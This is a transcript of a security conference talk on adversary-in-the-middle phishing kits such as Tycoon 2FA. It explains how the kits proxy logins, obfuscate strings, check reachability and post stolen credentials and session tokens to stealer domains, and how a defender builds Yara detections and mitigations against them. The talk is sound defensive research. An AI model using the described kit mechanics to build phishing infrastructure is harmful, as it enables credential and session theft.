Tracking the Adversaries in the Middle by Lex Crielaars - BSides Ams 2025

Ah, hi, welcome. Uh, my name is Lex Kilas and my normal job title is absolutely too boring to mention. So, I'm going to call myself a dark web tour guide for now. Uh, what I mostly do is a uh storytelling. So I have a story here for you today and this is a story about adversaries in the middle or AITM which is uh a thing that has exploded a lot in the past uh with the adoption of MFA multifactor authentication. Uh threat actors have been trying to find ways around it. It used to be easy. They would steal your username. They would steal your password and then ta we would have access to your account and your

bank account and this and that. And then we started deploying this very annoying two-factor authentication. You would get a text message of a code or a TOTP or something like that and then h we have thwarted all the threat actors and then the threat actors thought ha we're going to think about something that we can fort you back and it's the infinite cat and mouse game between uh us and them. So how does it normally work when you log in to I don't know Microsoft or Google or whatever you are on your laptop you go to that particular website you fill in your username or password you get a request for a two-factor authentication and then that website

sends you a session token and then with that session token you have logged in and that session token is actually kind of powerful I'll explain later now adversary in the middle is the same thing except the bad guys, they inject themselves in the middle of this stream. So when you as the victim think you are logging into the official Amazon, Google Microsoft SharePoint whatever website, you're actually on a fake website and the fake website is run by the threat actor and then they proxy your login request to the actual website and then the actual website says, "Hey, I need a two-factor authentication code." And then the threat actor proxies that back to you and then you oh of

course I need to give my two-factor authentication because I am on the legitimate website. You are not. And then you fill that in and then the adversary adversary says well thank you. I can now log in as you with your username and your password and your 2FA code and I'm going to steal your session token and now with that session token I can authorize myself at that website as you. And the additional downside of having your session token stolen is that it is usually a long live token by long live I mean 30 days 90 days not two years and that if you reset your password or something like that the session token is still uh active in most

cases. So you think haha they may have stolen my username and password but I'll just reset my password and then I am safe again. Wrong. So now we know a bit about the adversary in the middle. Um how does this live in the cyber realm domain? Well, it's mostly actually uh fishing as a service. There are a lot of cyber criminals out there who offer this to other cyber criminals because I mean if you can't make money off of unsuspecting victims uh out there in the world then you can always make money off of other criminals, right? Um, so they offer this as a service to other people. There we go. And um basically the entire pyramid from from

script kitties to cyber criminals to financially motivated to nation state allied to nation state funded to actual nation states use this uh model in order to gain access to uh credentials and accounts of people that they want to get uh access to. Um, some of these are pretty professionally developed, some of these are not so professionally developed and you can just smell the chat GPT through the codebase. Um, but the threat actors use adversary in the middle attacks for a variety of reasons. Um, sometimes it's just to uh gain access to somebody's account. It can be for business email compromise. Hey, I'm going to fish you. And then when I've successfully fished you, I get have

access to your email account. Then I'm going to email you because you know that guy. You trust that guy. Oh, I got an email from him. Ah, of course I'm going to click this link. And then I have access to your account. And then I'm going to send him an email. And you know that guy. And then before you know it, I have all your email accounts. And you have just trusted the guy or gal that you normally have contact with. And then tada, I have an entire web of email accounts that I now have access to with your other credentials, your mailboxes, and so on and so. And from there I can do all kinds of bad things. Trademark um

having access to your account especially if it's your corporate account allows me to do a lot of data exfiltration. I can steal uh data from their things like ransomware attacks and things like that. Or I can just sell the account because hey, you work at this and that company and that might be somebody out there that wants to target that company and will buy the initial access from me, the session token or just the credentials or whatnot uh for a nice sum of money and then they can do whatever they want and I don't want to know about it and you know Bob your uncle goodbye. Okay, a lot of threat actors um want to

do fishing but don't know how to do fishing or at least not technically. So what they do is they go out and buy fishing kits and these fishing kits there's quite a few of them now. Um these are the ones that we have eyes on the ones that are in bold. So, Tycoon, Kratos, Mamba, Naked Pages, Saiga and Flowertorm are the ones that we have uh pretty much automated the entire process for ingesting threat intelligence around the deployment of these fishing kits. And the other ones uh evil proxy, evil engine x and so on are the ones that we still do manually because uh they change things, they try to stay under the radar and so but we um look at these uh

fishing kits because they have commonalities in the way that they are being deployed, in the way that they work. And by finding these unique identifiers, it helps us when scanning the internet and when being provided submissions of a fishing sites and say, "Hey, this one is actually from Tycoon or this one is actually from so and so." And then we build signatures and detection logic on that and then help protect our customers. So, but before we started doing all that, we asked ourselves, should we even do this? because there is actually quite a lot of threat intelligence around adversary in the middle attacks already out there. SEOA uh media news um are a few companies uh health nert in Norway

they do a lot of um work around sorry in the middle these fishing kits and is it really important that we also start to do our own research? Well, uh, yes. Why? Um, it is one of the most common attack vectors that we see in our security operations center. Even though there are very many ways to protect yourselves against adversary mail attacks now, uh, it's still a very easy to do, very cheap to do for a threat actor and it's still very successful unfortunately. Um so we still see a lot of them and given the fact that we have quite a reach as an organization ourselves on sensor data and things like that we can actually fill in a piece of

the pie charts of what all the other organizations might miss. So we complete the picture even more even though there is still there is already a relatively complete picture with our information added to it and sharing with everybody we make an even more complete uh picture. So, so how do we do this? How do we, you know, let's get into the nitty-gritty? We have something called uh URLquery.net. Uh you might have heard of something called urlcan.io. URLquery.net is uh basically the same but not exactly the same. It was developed by our uh log team. Uh actually one guy, Lass Ulaf, let's give it up for Lass. Hey, well done, Lass. Hey. Yeah, I'm going to show him this on

YouTube. he'll be happy. Uh, and what does it do? Well, it analyzes URLs just like URLs scan does. Uh, you put it in a URL. URL gets sandboxed and and before you know it, you have a full report around this website and a suspiciousness score of is this website legit or is this website absolutely not uh legit. The difference with uh URL scan, there's a few things. um URL query dumps the entire website and the entire uh JavaScript engine and all the resources uh that belong to that page for analysis and we run it through a wide range of sandboxes in order to say hey is this website actually legit or not. And when people submit fishing

websites from for instance tycoon to FA and things like that, we use the markers that come from there and the indicator of compromise to uh feed that into uh our threat intelligence. So the difference between URL scan and URL um URLquery.net is there is a pro version for URL scan. There's a free version that you can use, but if you want to, you know, disable internet access or make the endpoint that you come out of a different country and things like that, you have to get the pro subscription and then you have to pay. Uh, this one's entirely free. So, the next time you want to submit a website to URL scan, not saying that you

should skip URL scan, but you know, like the meme says, why not both? It's free. So give it a go and see if uh this scratches a different need that you might not get with a URL scan. It comes with an API. So if you want to integrate it in your workflow and want to automate your submissions, you can also that is a uh free for free for use. And what do we use it for? Well, we use it and the information that we get from there for for threat hunting. We automatically harvest IOC's from uh URL query. Um, and we use it for something called secure DNS. You're like, what's secure DNS? Well, secure DNS is another

free service that we have. It's these four IP addresses. Um, they do what you expect them to do. They DNS your uh traffic and they translate the URLs into IP addresses. But if there is a DNS request that is malicious according to our threat intelligence, we sync all it. You can use this uh by simply changing the DNS servers on your whatever home router at your grandpa and grandma's parents or your parents if they're like, you know, not exactly technically illiterate and you're kind of worried that they might click on a fishing link and you're tired of them calling you up every time saying that is this email for real? Do I really need to

pay? And then you're like, no, mom, you don't need to pay the IRS again. It's this is fishing. Um, so what I've done is at my parents and grandparents put these IP addresses as their DNS server. So I know that when they go to something that is slightly less legitimate, they get a blank website, they get a sinkhole page explaining, they don't understand, then they call me and then I know, aha, okay, it was a sinkhole because of our secure service. Um, nonDNSC and DNSC versions are available. Free service. Knock yourself out. So example, we'll take one of these fishing kit websites. This one is from uh Tycoon 2FA. So it was generated with that particular uh fishing kit. And what

does that look like? Well, as a user, it looks kind of like this. You are you get an email or text message, whatever. They they they lure you to one of these landing pages and then you're like, "Oh, a document. Oh, I need to pay. Oh, I need to whatever." And then you click. Okay. So, what you need to know is that with most of these fishing kits, as you start typing, everything that you type is automatically sent that way. You don't have to hit submit. Especially if you end up in uh fill in your credit card here and you fill in your credit card and you fill in your CV uh V code and your expiration date and then you're

like, "Oh, wait. This is fake. This is a fake site. Oh, just in time. I didn't click submit." You already too late. it was already sent to their back end. Remember that very handy password manager that you have with autofill and you know credit card information in there that just like fills in your credit card information at the push of a button or sometimes even automatically. Yeah. Gone. Okay. So, these guys have been around since 2023. They're one of the biggest ones, which is why we're using them as an example here. And what you need to know is that uh this is actually a three-stage thing. There is a landing page. There is the back end that is for

the uh for the threat actor and there is then a uh a service page which is the checker and then the stealer page. So this is not one website where everything happens. There's actually one, two and three steps uh included here. They use a user agent of Axios and uh the target resource that they have is a home office in order to you know flow away in the traffic as you as you analyze it. So like oh office home sure fine whatever. But for us these are things that we use in our signature detection in order to find these guys. So one of the advantages of URL query is like I said we dump the entire JavaScript engine and

all the resources. So we have all the code that uh belongs with that particular website. Here's a small part of uh of the code uh because part of it is that you get a turnstyle challenge. It's uh this one. You've probably seen it a million times. Prove that you're a human. Prove that you're not a robot. What check marks don't look like a traffic light or you know those those types of things. There is an invisible ID on the website called AN7 and it renders the capture into that ID making it visible and then in the code there is obfuscation and obuscation in this case is writing backwards. You can see it here in the code for instance

you can see which is expired backwards or error backwards. So it's not really obuscation but you know they're just trying to make it one layer uh more difficult that when you uh do your regular uh regular expressions through this for these types of keywords that you don't find it. So yeah you see here a couple of examples of those backwards uh strings and then they join them and then they reverse them and then you get the uh original word again language timeout. Okay. So if that is successful, you move on to the checker function which is the next one because they actually check if you're like um a legitimate if you are fishable is what

they uh what they want to check. So in the checker they create a form with all the information that you have put in there and then they post it to a specific u uh URL but that only happens after they check that this um uh uh checker domain is actually reachable. If you can reach that because it's not being blocked by any type of threat intel or smart firewall or something like that. Can you reach that? Yeah. Okay. then post uh the information and check if it was successful or if it was an error. If you cannot reach their checker domain, they just dump you to amazon.com, they say go do your Christmas shopping and then buy.

So if you've ever gone to a website, expected one website and then ended up on Amazon. You're like, how did I end up in Amazon? Probably something like this happened. So the landing page that you get sent to from the fishing mail or link or whatever is one thing, but this checker domain is actually a lot more valuable from a threat intelligence perspective because those landing pages, they just create them and dump them and create them and dump them like non-stop. So if you think like, aha, I have a domain name for this uh for this landing page. I'm going to put this in my threat intelligence and everybody that goes to this page will

know that it's efficient. It's too late. it's already gone and they've already created a new one five minutes later with a different name. So those landing pages, they just come and go non-stop. But those checker domains, those are a lot more valuable. Those are not being created and destroyed and created, destroyed every 5 minutes. Those stick around for a while. So having those checker domains and having those in your threat intelligence feeds is actually uh kind of valuable. Now when they actually go to steal the credentials, we go to the stealer domain and the uh formatted arcs that you have those are the credentials that you have uh sent in the uh in there and they are posted to this

hard-coded domain over here. And now that's interesting to happen. That's interesting to know and that's interesting to have because those domain names, they stick around for a while and those are valuable to have in your threat intel. Like I said, those landing pages, nobody cares. But the checker and stealer domains those are interesting. So those we uh those we keep and those we uh use in our threat intelligence to determine if uh users, customers, victims have visited that particular website or not. So uh they check if it's a a reply then they decrypt the uh the formatted arcs that came in and then they grab the session. And then when we see this happening in the traffic of our

customers, we know what time it is. We know it's too late and we can, you know, fire up the response engine and start with the reset passwords, revoke session tokens and etc etc etc. So what do we do um with this data that we get from UL query? Well, we use this to write uh detection logic, Yara rules in in this case mostly. Uh here's a couple of examples um variables when it comes to uh parts of the domain name u the formatted arcs that happen. If you go back here, you see those formatted args, they come back here as well. The plus rand route which is over here. So we use things that we see in the code as

variables in Yara signatures uh to detect traffic that matches these things. And of course um the bad guys they they tweak and tune and then we have to tweak and tune as well in order to stay up to date so that infinite cat and mouse game keeps going up. But when it works, it works. And then you get results like this where you don't know that there is a new checker or stealer domain. But based on the Yara rules you have and the traffic you've seen, you're like "Hey similar traffic to a new domain that we hadn't seen yet. And now we found that new stealer and or uh checker uh domain because of the signatures in the traffic

and not so much the fact that we have seen the website and know that it is actually a stealer or a checker uh domain. So that's nice. Now we track uh all this traffic as much as we can and we visualize that in some graphs. Why? uh very simply because the bad guys don't give us a phone call and tell us that hey we updated our code or this or that. So you also need to update your detection logic. [ __ ] my job would be a lot easier if they did that. But they don't. So we need to stay on the up and up by tracking them and seeing that oh wait uh certain things are going like

flatline. they might have changed things which is our input moment to go in dig in again uh find the latest version of their codebase and see if they have made changes to the way that they send their code send their credentials to where from where etc and if we need to revise our signature uh rules in order to catch them again. So yes infinite cat and mouse game. Okay, so threat intelligence, why are we doing all this? Um, threat intel as a thing is a pyramid. At the bottom, you have data in its rawest form, IP addresses, URLs, things like that. Uh, but they don't mean anything until you process them into information, which is

data but in process form. And then at the top when you actually say, haha, now I have information. Now I'm going to do something with that information. Now we speak of intelligence. Um, so we want intelligence not for the sake of intelligence, but we want intelligence for the sake of making uh educated decisions around the way that we deal with these uh fishing kits and how we work around them and how we continuously keep uh detecting them. And what we need to keep in mind is that when we build this threat intel, who do we do it for? I mean we do it mainly for the security analysts that operate our uh our sock because they see all the

alerts incoming. They need to do triage and analysis on that correlate with existing and outside threat intel and then eventually make that decision. Yes, this is a true positive. No, this is a false positive. It goes into the bin and then next secondary. We do this for our customers and we do it for the detection engineers because the detection engineers need to know what's going on so that when new versions of these fishing kits come out that they can modify, create, update, life cycle, whatever the detection logic that they already have in order to stay uh ahead of the curve so that future fishing kits can also be uh detected. So we need to make sure that this process is in line

with the needs of the people that we do it for and not just you know why are you doing it because we can. I mean it's also a valid reason but it's good if it has a second real reason that supports a uh the security processes that we have. So kind of already mentioned the uh this for the sock analyst what does data mean? data for them would be a list of IP addresses and domains that are for instance those fishing domains from tycoon to af uh but if I just give them a list of IP addresses and URLs they're going to be like what's this so in order for them to understand what it is that

they're looking at it needs context so if I give them the list and say hey these are uh fishing websites and these are the checker and cedar domains then suddenly for them it's information and then on that we can A with this information you can make educated guesses around the incidents and alerts that you are triaging then it becomes intelligence and that helps them on the split minute decision when it comes to is this a true positive or is this a false positive and if this is a true positive what should I do reset password of the user revoke session tokens reinforce MFA enrollment and you know things like that and then for the detection engineer

they zoom out and they say Well, we're catching these fishing kits today, but you know, they might change it tomorrow. They might change their code base. They might change the way that they're doing business now and sending information back and forth. And we need to make sure that our signatures are wide enough to catch it when they make small modifications to their codebase, but not too wide that we get a lot of false positives. And they need to be narrow enough that we find them, but not so narrow that we miss any true positives. So they need that information in order to do their job. Now you know the best thing of course is to make sure that you

are uh not exploitable in the first place. So when it comes to uh adversary in the middle attacks there are very good ways out there to not be exploitable. Um most organizations are uh in Azure in some way or shape or form. So conditional access policies have loads of capabilities of saying that oh user is logging in with a different user agent for the first time from a location that they've never logged in from and so and so and so I mean it happens after the fact the user has already been fished and their credentials have been compromised and the threat actor is then using those credentials from a different location different user agent and so uh

so you're still going to have to act but at least conditional access policies will kick the threat actor out and then from there you won't have to deal with you know more compromise and more data exfiltration and uh and so and so. Now together with uh making sure that you only allow compliant devices and then risk based policies will uh make it quite difficult for threat actors to successfully exploit uh credentials if the user has been fished. And if that doesn't work, I know they're not the cheapest around, but the 502 pass keys, the UB keys, and you know, things like that. Uh if only for your most sensitive employees that if they get compromised,

you're like really uh up [ __ ] Creek without a paddle. Um would also be a suitable uh solution in order to make sure that they become relatively hardened to uh being fished. And then it becomes a a bit of a math game like how much time are you spending on even if you've gotten the process down to a tea and you can do it like click click click click click click okay this user has been uncompromised we've revoked and this and that and so and so and so how much time is that taking you because even if it takes you only 10 minutes if it's happening 40 times a week that's still 400 minutes and compare that to a

solution uh with a bunch of phto keys or actually setting up proper conditional access policies or one of the other ways to do f7 middle mitigation might eventually actually be worth it. With that I would like to say thank you. I hope that this was entertaining andorformational.

And if you have any feedback please scan the QR code. It is not a fishing website I promise. And if not then come find me after show and if you have any questions or now. >> Very insightful talk. Thank you S. Are there any questions? >> My presentation was so clear. There are no questions. >> All right then. Yeah. Thank you so much, Lex. Yeah, you're welcome. Enjoy today.